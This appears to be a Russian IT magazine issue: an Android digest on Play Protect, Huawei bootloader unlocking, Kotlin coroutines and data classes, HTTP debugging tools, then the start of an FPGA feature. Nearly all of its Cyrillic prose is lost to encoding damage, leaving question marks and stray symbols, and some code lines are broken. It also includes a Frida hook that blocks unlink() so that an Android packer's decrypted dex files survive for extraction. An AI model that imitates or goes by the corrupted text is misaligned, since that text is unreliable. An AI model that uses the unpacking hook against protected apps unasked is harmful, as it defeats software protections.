???� Kotlin?????�?????�??,� ???�??�??�?� ???�??�??�?� ???????� ???�???,� ????�
???�??�???�??�???�??�???�???�?�??????�,�????�?�?,�??�??�??�???�
?????�??�??�??�?????��??�??�??�??.
????????
???燝oogle�????�?��??�????
Combating� Potentially� Harmful� Applications� with� Machine� Learning� at� Google:
Datasets� and� Models� ?� ???�???� ???�????�????� ?????�?� ???????�????� An?
droid��??,�??�?????�?�??�???燝oogle燩lay燩rotect,�??????�???�???�???�
?????�??� ???�???�??� ?� Google� Play� ?� ??� ????�??�??� ????�?????�??.� ????�
????�?�??????:
? Google� ???�???�???� ??� ????�?� ???�???�??� ??� Google� Play,� ??� ?� ?????
APK????�?,�??�??�??��??????�?.
? ???�??�???�??�???�??�????�???�?�??�???�?�??�????�???��??????�
???�???� ???�???,� ???????� ????�???� ????�????�??� ???�???:� ???�??????�
????� ???�??????,� ??????�??� ???�???�??� ?� ???� ???� ????� ?????�?????�
?????.
? ???�??,� ???????�??� ??� ???�????�??� ?� ??????�??�??� ???�???�????,
??????�???� ??,� ???�?????�??�???� ??� ????�????� ????�????�??� ?????
????�?????�??�???�??:燬MS?????,�?????,�?????�??�??�???�??.
? ???�?�??�??��????�??�???�???,燝oogle�??�?�?????�?��???�???�?
???�??� ?� ???�???�??� ??� Google� Play:� ????�??� ????�?� ???�???�??� ????�
?????�???,� ???�??�?,� ???????�??� ????�????� ?� ???�?????� ???� ???????�??
???�?�?????�???�?.
? ??� ????�?� ????� ????� ???�??� ??� ???????� ???????� ?� ???,� ?????� ??� ????�
????�??�???�????�????�?�???�?????.
? Google� ???�???�?� ?????�???�??�?� ??,� ????�??�??� ???� ???�??� ???�????�
????????�???�????.
??� ????� ????� ????� ???�???� ???�?� ?????�???,� ???� ?� ???�??� ????�???�??
Google� Play� Protect� ??�???�?� 0� ?????� ?� ???�??�?� ?� ???�?� ???�??�?.
??�??????�??�?�?????�18???�?�???�???�?????�???�%�??????.
Huawei��???�??�??�??�????�?�??�????�?
Bootloader� unlocking� is� still� possible� for� Huawei� and� Honor� devices,� but� it?ll� cost
you� ?� ????�??�??� ?????�?� ?� ????�???�?� ???�???�??� ????�??�??� Huawei,
????�???�??�??�???�???�??�?????�??�??�?????�???.
?� ???� ???�?� ????� Huawei� ???�????�?� ?????�?,� ???� ????�?� ??� ?????� ????�
???�??????� ????� ???� ???�??�????�?� ???�????�??� ???�?� ????�??�??� (?� ???�?
????�??�??� ???�??� ???�???�?� Honor).� ???�?????� ????�???� ??� ???�??�?
?????�???�?��??�????�??�???�???�?,��??�?�?�??�???????�??�???�
??� ??????�???,� ???� ???� ??,� ???� ??� ?????� ????????� ????� ???� ???�??�????�?,
??????� ??� ?????� ????�?????� ??� ???� ???�?????� ???�??�?� ???� ????� ????????
???�?爎oot��??????燤agisk.
??�???�???,� ????�?,� ???� ???�??� ?????�?� ???�??� FunkyHuawei,� ???????�
????�?� ?????�??� ???�??� ???� ???�??�??�????� ????�????�??� ????�??�??
?� ???�?� ??� ????�??,� ?????� ???�??�??????� ???�???????� ???�??�????�?� ????�
?????�?� ????� ???????� Huawei,� ????�??� ?????� ???�??.� ??� ????� ????� ?????:
???�?????�???�??�??�????�?�??�????�?��??�????,��?�??�????�營MEI
??????�???,��??�??,�?�????�???�?????�????�??�????.
?�??�????�???��?????�??�????�???�??�?��??,�??燜unkyHuawei�???�
???�????� ?????� Huawei� ?� ?????� ????�??� ???� ????�???� ?????�?????�?
??????�???� ??� ????�?????�??.� ???�?� ???�???,� ??� ???�??� ?� ???,� ???� ???�??
?????� ????� ???�??�????�?,� ????�?� ????�????.� ????� ???� ???�???�???�?
Huawei,�???�???��??�???�?�??�??,�???�???�???�?�?????�??�??�????�
??� ???�??,� ???� ???� ???�???� ?????�???.� ???� ???� ????�???� ??� ?� ????�?� ????�
?????.
???�?????�?????燜rida�??�???�?�??�??�????
How?to� Guide:� Defeating� an� Android� Packer� with� FRIDA� ?� ????�??� ??????
??�?????�??????燜rida�??�?????��??�???�?????.
??�?:�??�????�??�??�???�??��????�?????�??�??�??�???�?�?????
?� ??????�??� ????�?� ???????�????�??� ???????�???� dex????�??.� ???�??
?????� ?????�?� logcat� ??????�???,� ???� ???�???�??� ???� ??????� ???�???� ?� ????�
????�?� ???� ????� dex?????� (??????�??�??� ?� JAR),� ?� ???� ???�??,� ???,� ???�??
???�?,�??�??�??????�???�???��??�??�?�???�??�?????�(?�??�??,�???�
???�??),� ?� ???�??�??� ?????� ?????�?????�??� ????� ?� ?????�????�??� ???
???�???�??.� ???� ???�????� ???�???�??� ???�??�??� ?????�???� ????� ?� ????�
????�?�??.�?�???�???�???�???��??�?�??�?�??�????�????�????�??
????�??�???�?��??�????�????�??�??�???�?????.
?� ??????�??,� ?????�??????� ?� ???�????�??� ???�??� ???�??�???� ??????
??�???��?�???�??�???�?�??????�????��??�?�??�??????�??�??�??.
????�?� ??????� ???�???�??� ???� ???????�???� ????�??????�??� ???�???� strace
??????�???,�??�??�????�??�???�??��??????�??�????�?�?????爑nlink.
??�??�??� ????� ?� ????�???�?????� ?� ???????� Frida� ???� ???�???� unlink
???,�??�?�??�?????�?�??�???.��???�??�??�????�???�???�??�??�????�
??� ???�???� ???�????�??�??� dex?????� ??� ??????�???� ?� ???�??�???�?????
???.�??�??�???�????�???�??燜rida:
console.log("[*]燜RIDA爏tarted");
console.log("[*]爏kip爊ative爑nlink爁unction");
var爑nlinkPtr�燤odule.findExportByName(null,�'unlink');
Interceptor.replace(unlinkPtr,爊ew燦ativeCallback(function�(){牋
牋燾onsole.log("[*]爑nlink()爀ncountered,爏kipping爄t.");
},�'int',燵]));
????�??????�??�??�???,�?????�?????�??�????��??�????�??�?
?�??�????�??�??�????�??�???�??
????????????
???�?�燢otlin
Kotlin� fun� and� education� on� Twitter� ?� ???�?????� Kotlin� Academy� ?� ?????� ???�?
獳ndroid� Development� with� Kotlin粻 ???�??� ???�???� (Marcin� Moskala)� ???�???�
????�?�?�???�??�??�??�??,�??????�??�?�??�??�???�燢otlin.
?燢otlin爁un��??�??????�??????�??�??�????�??�?,�?�??�??�?�??????�
??????,�???�??�?????��???????�????�?�??�???????��???�??�??�?.�?
??�??�???�??�???�?��???�????�????�??�??�??�????�???.
??�???�??� ????????� ?????�?,� ???�?� ???�?� ???� ????�?� ?� ????�???� ?� ???�?
??�???�?�??�????�??�?,�?��??�???,��???�???�?.
???��??�??�??�??�??�?,燢otlin�??�????�???�????�????�??�???�??.
fold� ?� ????� ??� ?????� ???�??� ???�????� ???� ??????� ?� ???�????�??.� ???
???�??�???� ???� ???�??�?� ???�?????� ?� ???????� ???�??�??� ???�???.� ????�
?????,��??????爁old�????�??�?�??�???�??�????�?????�??�??�??�?.
??�??�?�??�???��????�???�??�??�???.
???�??�???�?�????�??�??�???�??�????�????�??�????�??�??�???�???
???�?????�???�???�??�??�???.
???�??�???�??????�??�???�??�???�??
Various� methods� to� debug� HTTP� tra?c� in� Android� applications� ?� ??????� ?� ???,
???� ?????�???� ???�??�???� ???????� ???�???� ???�???�??.� ?????� ????�???�?
??????�?????�???�??�?????�??????.
? Android� Pro?ler� ?� ????�??� ?� ???�??� Android� Studio.� ??� ??????�???� ???�?
???�????� ?� ????�????� ???�??,� ?????�??� ?� ????� ???�???�?� ?????�???
??� ????� ???�??� (????� ???�???�??� ??????�???� HttpURLConnection
???燨kHttp).�?�???�????�??????�??�??�??�????�??.�??�?�???�???
???,�???�?????�??�?��???燫un�燛dit燙on?gurations,�??????�??燩ro?l?
ing��??�?????�????�?�??�????燛nable燼dvanced爌ro?ling.�??�?�??�?�?
??????�?� ?� ????� ????�??�??�?� ???�??�???� (?????�???�?� ?????� ???�??
??????燗ndroid燬tudio).
? OkHttp� Pro?ler� plugin� ?� ???�??� Android� Studio� ???� ???????� ???�?????
OkHttp.� ???�?� ??????�???� JSON� ?� ????� ??????� ?� ??????�?????� ??????
???� ???�???� GSON.� ?????�????:� ???�???�?� ????�??�?� ???�???� ?� ???????�
?????�??�???�??.
? Stetho� ?� ???�??�???� ???????� ???�???�??� ?� ???????� Chrome� DevTools.
???�?� ???�??�??�??� ???� ???�???� ???�???� ?� ???� ???�??,� ????�???� ?� ????
???�??� ???????� ???�??�??.� ???�???� ????�??�?� ???�????�?� ?� ???????�
?????�??�???�??.
? Charles燩roxy��??�???�??�???�?�?�????�????�???�????��??�???�
????� ?????�?????�??� ???�???:� ???� ??????�???� ???????,� ??????�????
???????�??????,�?????�??�??�?????��??�??�??�??.�??�???�??�????�
??�?�??�???�?/??????�?�???�?��???�??�?燬SL????�?????�?�(?�??�??
????� ???�???�?� ???????� HTTPS????�???).� ?� ????� ??� ???�?� 50� ???�????
(????�??�??�??�??�??).
? AppSpector� ?� ???�??�??�?� ???�??�??�?� ???� Android� ?� iOS.� ???�???�?
????�????�???�???,�??�???�???�??�??��??????�??�???.�???�?????
??????�????� ???�???�??� ?� ?????�??�??� ??� ???�?.� ???????�??� ????�?
?????� ????????� ???�????�????,� ???� ???� ???�???�?� ???�??� ?� ???�?????�
?????�??�?�??�??.
Network燩ro?ler�燗ndroid燬tudio
??�?????�??�??�???�燿ata-????�??
What爕ou燿idn?t爇now燼bout燼rrays爄n燢otlin��??�???????�??��????�??�?????�
??��??,�?????�?�??�?�?????�?????�??�???�燿ata?????�??�燢otlin.
Data?????�?�燢otlin��????�????�??�??�???�??�?,�??�???�???�???�
???� ???�?????� ????�?,� ??� ????�????� ????� ??????�???� ????�??�???� ????.
????�??,��??�???,�??�?????�??:
data燾lass燦umArray(val爊ame:燬tring,爒al爒alues:營ntArray)
??� ???�???�?� data??????� NumArray� ?� ???�?� ??????.� ???� ???�?� ????� ????�?
????,� ??� ?� ??????�???� ??� ????????� ?????� ?� ???� ?????�????�???� ???�?????,
???�?????��??�??�??爀quals(),爃ash(),爐oString().�???�?�??�??�?�?????�?
??????,��??�???�?�??????�?�????.
??� ????� ????� ????�???:� ????� ??� ???�???� ???� ???�???�??� ???�???� ???�?
????�?��??�???�??�?�???�???,�?�???????�???�?????�??�????:
val爊1�燦umArray("1",爄ntArrayOf(1,2,3,4))
val爊2�燦umArray("1",爄ntArrayOf(1,2,3,4))
val爎esult�爊1==n2
println("result=$result")
??�???�???,� ???� ????�???�??�?� ??????�?????� ?????� equals()� ??� ??????�??
??�????�???�??�?�??.�???��??,�??�燡VM�???�??,�??????�??�????
?� ????,� ???� ????�????� ???�????� ?� ???�?????� ???�???�??� ??????�???.� ????�
??????�???�???�???�????�????,�?�???�????�??�??,��??�???�????�???�
?????�??�??�????�????�???�?��??�??�??,�???�??�??�???�???�?�???
?�??�?�??�??,��?�??��??�???�??�??????�??�??�??.
??�??�?�???�?�??�????�??�?�?????�?????�???�?:
data燾lass燦umList(val爊ame:燬tring,爒al爒alues:燣ist<Int>))
Parallelism爒s燾oncurrency
Concurrent燙oroutines�燙oncurrency爄s爊ot燩arallelism��???�?�??�??�???�
???� ???� ???,� ???� ?????� ?????�???�?,� ???� ?????� ????�??�?� Kotlin.� ????�?� ????
???�?� ???�??�?????� ?� ?????????????� ?� ??????�????�??� ????�??�??,� ?????
???????��??,�??�???�???�?�???�???�??�???�??�?�?????�??燾oncurren?
cy�爌arallelism.
???�???,�???�?�??�????�????燯nix,燩lan��??�?燝o,�??????�?�???
??????�?�??:燾oncurrency��??�??�?�?�??�??�???�?�??�??�???�????
???????�??�?,� ?� parallelism� ?� ???� ???�?� ??� ??�????� ???�??�??� ?????
???????�??�?.�??�?????�??�???�??�????�??�??�????:
fun爉ain()�爎unBlocking<Unit>爗
牋爒al爐ime�爉easureTimeMillis爗
牋牋牋爒al爋ne�燼sync爗燿oSomethingUsefulOne()爙
牋牋牋爒al爐wo�燼sync爗燿oSomethingUsefulTwo()爙
牋牋牋爌rintln("The燼nswer爄s�${one.await()�+爐wo.await()}")
牋爙
牋爌rintln("Completed爄n�$time爉s")牋牋
}
suspend爁un燿oSomethingUsefulOne():營nt爗
牋燿elay(1000L)
牋爎eturn�
}
suspend爁un燿oSomethingUsefulTwo():營nt爗
牋燿elay(1000L)
牋爎eturn�
}
?????�??�???�??�?????�???�???�???,�??�??�?�??????�?????�?�?�???
?????�?,� ?� ?????� ???�??�???� ????�????�??� ???�?.� ????????� ????�??�?
???� ????� ??????�???� ?????�????� ???�?� ?????�??� ????�???� ?� ??????�?
??�????�??�?�???�??�??�??�??�????.
???�???�??� ?????�???�?� ????� ??????� ???�?� ??� ????� ?????�?,� ???� ?????�
???�?� ?????�?.� ??� ????� ????� ???�??� ?????:� ???� ??????�?� ?� ?????� ??????.
???�?� ????� ??� ?????�??� ????�???� ???�???�???� (?� ???�??� ???�??� ?� ???????
delay,���????�??�??�???�??�????�??�????�??�??�?�???�??��??�?),
????????� ????�??�?� ???�??�???� ????� ??????.� ???� ?� ????� ???� ???�??,� ???�?
???�???�??牜???�?�???粻?�??�??�???�????,��?�???�?�?�??????�???�
??.
??�?�????�????�???�??�??,�??�?�?�??�???�???�?�????�??�???�?
?????�??????�??�?:
val爐ime�爉easureTimeMillis爗
牋爒al爋ne�燼sync(Dispatchers.Default)爗燿oSomethingUsefulOne()爙
牋爒al爐wo�燼sync(Dispatchers.Default)爗燿oSomethingUsefulTwo()爙
牋爌rintln("The燼nswer爄s�${one.await()�+爐wo.await()}")
}
??�??� ???� ?????�???� ???�??� ????�??�?� ?� ??????�??� ??????
(Dispatchers.Main� ?� ????????� ?????� ???�???�??,� Dispatchers.Default� ?� ????
??�??????),��?,�?????�??�???�??� ??�???�??�???�?�????�??????�???�
??.
?�???�??�???�?�????�??????�??�??????�???�?,�?��????�??�???�
????�??� ?� ???????� ??????� ???�?� ?????�???� ???????� ?????�????,� ?� ??????�
????�??,�??�?????�??�??�?�???�??��??�?�(???�???�?�??�?�??�??),
????????�??��???????�?????.��??�?�??�??,爊ginx,�???�?�????�???�
????�?????�??�??????�????,�???�????�??�(???�??,�?�?????�???�?�????�
??�?????�?�???,�?�???�??�?�???�?).
???�?��???�??�???燢otlin
Advanced� Kotlin� Coroutines� tips� and� tricks� ?� ???� ????� ??????� ?� ????�??�??,
?�???�??��?????�?�?�?????�??????.
1.�???�???�燡ava燗PI.�???�??�??�?????�??�??:
runBlocking(Dispatchers.IO)爗
牋爓ithTimeout(1000)爗
牋牋牋爒al爏ocket�燬erverSocket(42)
牋牋牋爏ocket.accept()
牋爙
}
???�?????�???�?,�??�???�??�????�??�???�??�?,�??????�????�????�???�
???�????�??�?�???�????�?��????�????�???�???.
??�??�?�?�??�???�??,�?????�??� socket.accept()� ???�?????�?� ?????
????�??�?,�?�??�??�???�?????????�??�???�???�?�?�??�??�??�?.
????�?�??�???�???�??�?��??????� suspendCancellableCoroutine.
???�????�?????�??�??�?????????�??:
public爏uspend爄nline爁un�T�燙loseable?,燫>燭.useCancellably(
牋牋牋燾rossinline燽lock:�(T)�>燫
):燫�爏uspendCancellableCoroutine爗燾ont�>
牋燾ont.invokeOnCancellation爗爐his?.close()爙
牋燾ont.resume(use(block))
}
?�???�?�???�??�??�??�??:
runBlocking(Dispatchers.IO)爗
牋爓ithTimeout(1000)爗
牋牋牋爒al爏ocket�燬erverSocket(42)
牋牋牋爏ocket.useCancellably爗爄t.accept()爙
牋爙
}
??�???�??�?????�?�??�???.
2.� launch� vs.� async.� ???� ???� ?????� ??????�?????� ????�???????�???
?� Kotlin.� ?� ???� ?� ???�??� ?????�???� ?????� ????�??�?,� ??� ??????�?� ???�???
??????�???:
? ??�??� ????�??????�??� ?????�????� ?� ???�?� launch� ?????� ???�??�???
???� ????�??????�??� ????�?� ?� ???�??� ???�???�???� ?????�????� ?� ???�?
async�??�?�???�?????�?�??�???�?�??�?�??�??
? launch� ??� ???�????� ????�??�?????????�??� ?????�???�?,� ????� ????�???�
????????�?,�??????�??��??????爈aunch,�?�????�?????
? async�??�???�?�??�???�??�????,爈aunch��??.
???�???�?????爈ogcat
How� To� Customize� Logcat� Appearance� in� Android� Studio� ?� ?????�??� ?????�?
?� ???,� ???� ???�??�???� ?????� logcat� ?� Android� Studio� ???� ?????� ????�???� ????�
???.�??�??�?�??�????�?�????�?��??�???�?,�??�???��???�?爈ogcat,��?
???�???� ???�??� ????�??� ??????�????� ??� Debug� ??� Assert.� ???????� ????
??�??,�????�??�????�?營nherit爒alues爁rom���???�?燜oregraund,燘ackground
?�??�??�??????�??�??�??�?.
??�??�?????�???�???�?�??�?????�??�?�??�??:
? ASSERT:�#bb2b2f?
? DEBUG:�#1194d6?
? ERROR:�#db332f?
? INFO:�#0c890d?
? VERBOSE:�#a8a8a8?
? WARNING:�#bb7000.
???�?�?�??�??�??�????�??�?�?�???�??燚efault�燚racula.
???????????
? frida?snippets��????�????�??燜rida�??燗ndroid,爄OS�燱indows?
? MagiskFrida� ?� ??????� ???� ?????�?� ???�???� Frida� ???� ???�????� ?� ???????
Magisk?
? ADBHoney� ?� ???????,� ???�???�???� ???�?????� ??� 5555??� ???�?� ?????
ADB?
? ish� ?� ???�???�??� ???� ?????�?� Linux?????�????� ?� iOS� (??????�???� ????�
?????爔86��???�??�??�??�?????�??????燣inux�燲NU)?
? androix?migration� ?� ??????� ???� ????�???�??�??� ???�????� ?� support?????�
??????� ??� AndroidX,� ??� ???�??� ????�?,� ??????�?� ???�?,� ???� ???�????�??
???�?????�燗ndroid燬tudio?
? autoplay� ?� ???�??� Gradle� ???� ????�???�??�??� ???�??????� ???�???�??
?燝oogle燩lay.
??????????
? AndroidVeil��??�????�?�??�??�????��??�????�??�????�???????�?,
???????�???�???????�????�?�???�????�??�????�??�???
? MultiLamp� ?� ???�??�???�?� ???�???�?� View� ???????�??�?,� ?????� ????
?????�?�??�??�????�????�???
? Justi?edTextView�燭extView,�??????�????�???�?�????�?�?????�???�?
(???�????�?燗ndroid�??�????�???�??�??�???�燗ndroid�?
? PrettyStateView� ?� ???�???�?� ?????� ????�??� ????� ????????� ????�??????
???�?????��?????燰iew:�??�????,�???�?,�??�?��??�?????
? CookieBar2��???��???�???�?��??�???�??�??�??�??�?�???�??
? BezierSeekBar��??�??�??????燬eekBar?
? NomtekUtills��??�????�?�??�??????�??�??�????��??�??�?????
? RandomGenKt�燢otlin?????�??�????�?�??�?????�??�??�??�??�??????�
???�????�???�???
? simplegraph��??�????�?�??�???�??????�??�?????
? slidetoact��??�??燬lide爐o燯nlock?
? ElasticViews� ?� ???�???�?� ????????� ?� ??????� View� �???�?????� ???�????
???�??�
? spectrum��??�????�?�??�???�??�??�?�???�???????
? AutoDSL��?????�??�???�??燚SL�(Domain燬peci?c燣anguage)��??????
????�?????
? librootjava� ?� ???�????�?� ????�?� SuperSU� ???� ?????�?� ????� Java� ?� Kotlin
?�??�???爎oot?
? ModernAndroidPreferences��??�???�?�??�?????�???�??�??�?��??????�
??????�?�??�????�???燚SL�燢otlin?
? MotionLayoutCarousel� ?� ???�???�??????�??,� ???????� ??????�??�???
????????�?�??�??�??�???????�?��??????燤otionLayout.
COVERSTORY
FPGA
???????????,�??�???????
???????????????�?????????�????
?�??�??�?????
????�????,�??�??�??�??�???�?�???,�???�
??� ?????�???� ?????� ???�???�??,� ?????
?????�??�????�?� ???� ???�??� ????�????
?� ????�?????� ????�???� ?????�???�???�?
?� �?????�.� ????�?� ???� ?� ??????�?� FPGA!
?� ????� ??????� ?� ???�??�?,� ???� ?????� ????�
?????,� ?� ???�????�?� ????� ?� ???�???� ????�
????�?�??�???�???�??燜PGA.
????�???????
??????????燜ast燬ense燬tudio
yarumyantsev@gmail.com
??�??� ????,� ??� ???�??� ????�?????� ??????�???� ??� ???�??� ???�?� ???�?
???� ??????� ???�??� ???????�???�??,� ??� ??????�??� ??� ??,� ???� ??????�?� ????
?????�????� ?� ????� ??� ?� ???,� ???� ????�?� ???�???�???,� ???� ???�??�??�???
garbage燾ollector�燡ava�??�??�????�?�??�??????燙++.��?????��????
???�??,�???�??�??�???�?,�???�????�??�?:�??�?????�?�?????.
???�??�???�??��??�????�?�??????�??�?,�??�?�??�????�????燛ther?
net?� ???� ????� ?????� ??????�???� ????�?� ?� ???�????�??� ??????� ?????�??�?
?????� ????� PCI� Express?� ???� ??????�?� ?????� ???�???� ???�???� ???�?????�
?????�???�??????�?�???�??�??�???�??
???�???�?�?�??�??�???�???�??�???�??�?????�?��??�????�?????
??????�??�?????燗SIC,�?�???????��??�????�???�?��?????,��???�?
???�?�??�?�?????�燜PGA.
INFO
FPGA� ???�????�???�???� ???� ?eld?programmable
gate� array,� ??????�??� ?� ????�????�?????� ?????�
??????�??� ???�???�??� ???�???,� ????.� ?� ?????
?????� ???�??� ???� ??????�???� ????� ?� ?????�
?????�?????�??????�??�????????�??�??�?.
?�??????燜PGA�??�?��??�???�??�???�?�??�???�?????�??�????�???�
?????�?,�???��???�???��??�?????�???�??�??�??�??�?�??�?��??�??
???�????�???� ??� ????� ???????�??.� ????�??,� ????� ?� ???�???�??� ????�???.
??????:�???�?�??�???�?????,��?�???�????�?????,�?????�??�?�?????
??????�???� ???????�??� ???�????� ???�?,� ?????�?????� ????�????�??� ?????�
????�?�???�??�??�???�?,��?�???�????�??�??�??�???.
??�???�?� ???� ???�??�?� ???.� ????� ???????� ?????�??� ???�?� ?� ???????
????????�??,� ???????� ???�??�???� ?� ????�??�?????� ??� ???�?� ???�????�?
FPGA,� ???�?� ???�??� ???�?� ???� ????????�??� ???� ??�????�??� ???�?� ???� ????�
?????.
??�?�?�?�???�?????�???燜PGA,�???�?�??�????�?�???�?�??�?????
???� ????�??�?� ???�??� ?� ????????�??,� ?� ??????� ????????� ??????,� ???�??�?,
??�????.�?��?????�???�??�???�???�??�????�??�???�??�??�?,�??????
???�?� ???�????� ?� FPGA� ???�???� ???�??� ???� ???�????� ???�?.� ???�????,� ???
???�?� ???�???� ???�???�??� 100G� Ethernet,� ???????� ?????� ???�?????� ?� ?????�
????�???�??????�?????.
???�??�??�??�????燜PGA��??�???????�????�?????�??.�????�?�??
?????� ???�???�??� 100G� Ethernet,� ?� ???�??� ???� ??� ???�?� ?????� ????� ???????�
??????�??�????�????�?????�????�??????�???????�??�G燛thernet.
??�??�??�?�??�???�??�??�???�???�?燜PGA??????:燲ilinx�營ntel,�??????
???�??�???�?� 58� ?� 42%� ???�?� ????�???�???�?.� ????�???�?� Xilinx� ????�???
???�??� ???� FPGA� ?� ???????� 1985� ????.� Intel� ????�?� ??� ?????� ?????�?� ?
?�15�???,�??�????�??�????燗ltera,�??????�???�???�???��?�?�??�?,
???�燲ilinx.�??�??????燲ilinx�燗ltera�?�??�??�??�?,�??��??�?�??�?????�
??.� ????� ?� ???????� ?� ???�??�???� ???�????� Xilinx,� ?????�?� ??� ????�??�?� ??
???�???�???�??�???�??.
FPGA� ??????� ???�???�???� ?� ???�??�?????�????:� ???�???????�???� ?????�
???�???,� ???�???�????� ??????�?,� ???�???????�???�??� ???� ???�???�??
?� ????????�???,� ???�?????� ??????�??�???,� ?� ???�?� ???� ???�???�???�????
???�?????燗SIC.�???�??�????��??�???�???�???.
???�?�??�???�??�??�??????,�??????�???�?????�?�???�??�??�?????�
??????�??,�??�??????�?��??�??�??�??�???�???�??��??�????�???�??
???�??� ?????�????� ????�??�???� ????�???� ??� ???�?� Verilog.� ????� ?� ????� ????
?????� ????�??�??� ???�?� FPGA,� ??� ???�???� ???�?????� ???� ?????�??????�?.
????� ???�?� ???,� ??� ???� ???�?� ???�???� ???�???????�?� ?� Verilog,� ???�????�
?????�?????�??�?�?�??�?�??�?.
???????�?????
???�????�?� FPGA� ?� ???� ??� ??� ?????�??� ???�????�?� ASIC,� ???�?????
??�????�?�???�????�??,�?�??????�?????�???�???�???,�????�??,�????�
???�????�?� ?� ???�??� ???????�??� ???�??�?� ???� ????�??� ????.� ????�???
???????� ?????�????� ????� ????�????�??,� ?????�?,� ????�?.� ??� ????�??�????
???�????�?� ???�??�??� ?????� ???�??� ????�??,� ???� ???�?� ????�???� ????�
???????�??�????�??�?�????�???�???�??�???:�?�?????�?燙LB��????�
?????�?????�??????�??�??�?.
???�?�??�?�???�???�??????�??�??�???,�??????�????�???燙LB.�???�
????�???� ???� ??� ????� ????,� ???� ???� ???�????�?� ???�???�?� ????�???� ????�
??????�???�??� ??????� Static� RAM.� ???�??� ???� ????� ??????� ????� ???????�?
????????� ???�??� ???�??????� ???�????,� ????� ????�???� ??????� ???�???
????????�?�??????�??�??�???,�??????�????�???燙LB.
???�??�??�?????�???�??�?????�??�??�??�?�??�??????燬tatic燫AM,�?,
??????�??,�??�???�????�??????燜PGA�??�????�?�??�?????�?�???�????�
??????�?????,� ?� ??????�??,� ???�????�?� ???�?� ?????�?????�?????� ?????�
?????�?�??�????�??�??????�??�??.
?????�???�??�??�??????�???�??�????�?�??�??�?????�???�??
??????
???�?燙LB�??????�?��??�?????�????�??�???,�??????�???�?�????�????
???�??��??????�??�??燙LB.
???�?�??�?????�????�??�???
??�??�??�?????�????�??�??�????�??????�?�????�????�???�???�???�
???,� ???????�???� ???�??� ????�???� ???�?????�???�??� ??????.� ?????�??
????� ?� ???�????� ???�??,� ???�?� ????�?????� ???�??� ???�??????� ???�????
???�?燙LB.
CLB
CLB�????�???�??�?�??�???�?�??�?,�???�??�?�?????�??�???�?�???�
????�??�???�??�??�(???�?????�???�??�????�???�???�???�燣ook燯p燭able,
LUT)��???�???�(?ip??op,燜F).��??�????�??燜PGA燣UT�??�?�????�??�??,
??�?�????�?�??�???�???�?????�?�??.�????燣UT�???�???�?�????燙LB
????�???�???�?�(???�????),�???�??�???�?�(?????�???�??燜F,�?????�???
??�??�?????�??�????�??�???).
????�??�????�????燣UT
??�????�?�??�??????�?�???�??�????�????燣UT.�????��??�???�??????�
???� ??????� ???�???� y� =� (a� &� b)� |� ~� c.� ??� ???�????�????�??� ????�????�
?????��??�???�???????�?�?????�?�?�????�?.��??�???�??�???�??�?,
?????�?�??�??�???�?���??�????.�??�??�?�??�???�???�??�?�??�?
???�??????� ????�??� ???�????.� ???� ???�????� ?????�???�?� ????�?????
???�??�????�?�??�??�?�???��?????�???�?��??�????�??�???�?�???�
??????�???�??�?????.
???�????� ???�??� ??� ???�?� ????�???� ??� ????� ????� ?????�???� ????�???�
?????�?� LUT,� ?� ????�??� ????�??�?� ???????� ???�???� ??????�???�?
???�?????�???�??�??�?�??�????�??�???.燙LB��??�??�??�???�??�??
??????� FPGA.� ???????�??� CLB� ?� ???�????�??� ????�?????� FPGA� ?????� ????
???�??� ?� ???????� ??� ????� ?� ???????� ????�????.� ?� Xilinx� ????� ????�????
?� ???????�???� CLB� ?� ???�????� ???�??�?� ??� ???????� ?????� ??� ????� ????�
??????.
??�???� CLB,� ????�?� FPGA� ????� ???� ???� ???�??� ????�??�??� ?????�??.
???�????,�???�??�??�??�?�???�????��????�???�?�??�??�?燚SP.�???�
???� ??� ???� ?????� ??????� ???�????� ????�????� ?� ???�????� 18????�??� ?????
???�??� ????.� ?� ???????� ????�?????� ???????�??� ???�??� DSP� ?????� ????�
??????�00.
???�??� ??????� ?� ???� ???�?� ????�?????� ??????� (Block� RAM,� BRAM).� ????�
???�???�????�??�???�????.�??�??�??????�????�?????��?????�??�?
??� ????�????� ?????� ???�?????� ??� 20� ?????� ??� 20� ?????.� ???� ?� CLB,� BRAM
?� DSP????�?� ???�???� ???�?????�????� ???�????� ?� ???�???�???� ????� ?????�
????.� ???�????� ???�?� CLB,� DSP� ?� BRAM,� ???�?� ????????� ????�?� ?????????�
???�??�?�???�??�?�??�??.
??????????��???????????燜PGA
???�??�??燜PGA,�??�?????燲ilinx��85�???,�????�??�??�?�燙LB.��?
???�?� ???????�??� ????�????�??� ??� ???�????�??� ????� ???�???� ????,� ???
???�??,� ?� ?� ???�????� ??????�????� ???�?� ??????�???????� ???�????�?� �???�
??????� ??????�.� ????� ??????�?� ???�????�?� ?????�???,� ????�????,� ????�???�
?????�??,�???�???�??.�??�??�???�??�?????�???�??�???????�???�?????�
???�??�?,�?�??????�???�??�???????�??�??�????�?�??�??�??????�??.
??�???�??????燜PGA�??�?????�???�???�?�?�?????�??�???.�???燜PGA
??� 64� CLB� ???�?????�?� ???�????� ???�?� ??� ?????�??� ???�?,� ?� ???�???????
?????�?????�??� ??????�?� ???�???????� ?????????� ???�??�????�????
??????�??� ???� ???�?� ????�??�????� ??� ???�?� ???�??�??�??,� ???� ???????� 玦n
the�eld粻(????�?��??�????��eld?programmable爂ate燼rray).
??� ????� ????,� ???� ????�?� FPGA� ???�?� ???�???� ?????� ????�??�??� ????�
?????�??�?�(????�??,�??�?�??�???�????�??),�???�?�??�??�??�???�??
????��??�??�???�???�????�??�?????燗SIC.
???�????�?� ASIC� ?????� ????�?� ?� ???�????,� ????� ????�?� ?????� ??????,
?�??�??�??�?????�??�?????�??�????.�????�?�????�?�??�??�??�?????�
??� ???� ??� ??????� ??????� ???� ???????�??� ??????�???� ???�?� ???�?� ??� ????�
????�???�????�?�????�??�??�???�??�???�?????燜PGA.
???� ???�????�?� ASIC� ?????�???� ???�????�??� ???�?,� ?????�????� ???�?
FPGA,� ?????�??�??� ???�?� ?????.� ???�????� ???�????�?� ??????�?� ??� ????�
??????�?� ????�??� ???�????� (?????� ????,� ?????�?� ????????),� ??� ???�???�?
??????�???�?�???�????�???�??��????.
??�???,�?�??�?????,�????�??�?�????�???�??�??�??�???�??�???.
???�??� ?????�???� FPGA� ???�???�?� ?????�???�???� ????�??�??� ???�?
???� ???????�????�???� ?� ?????�???�??� ????�??�?� ???�??� ?� ???�????????
????�???�???�???.
????�????�???�??�??�???�???
??�??� ??????�?,� ???� ????�???�??�?� ????�???�?� CPU,� GPU,� FPGA� ?� ASIC.
CPU� ???�??�????,� ??� ???� ???�?� ?????�???� ?????� ????�???,� ??� ?????�??
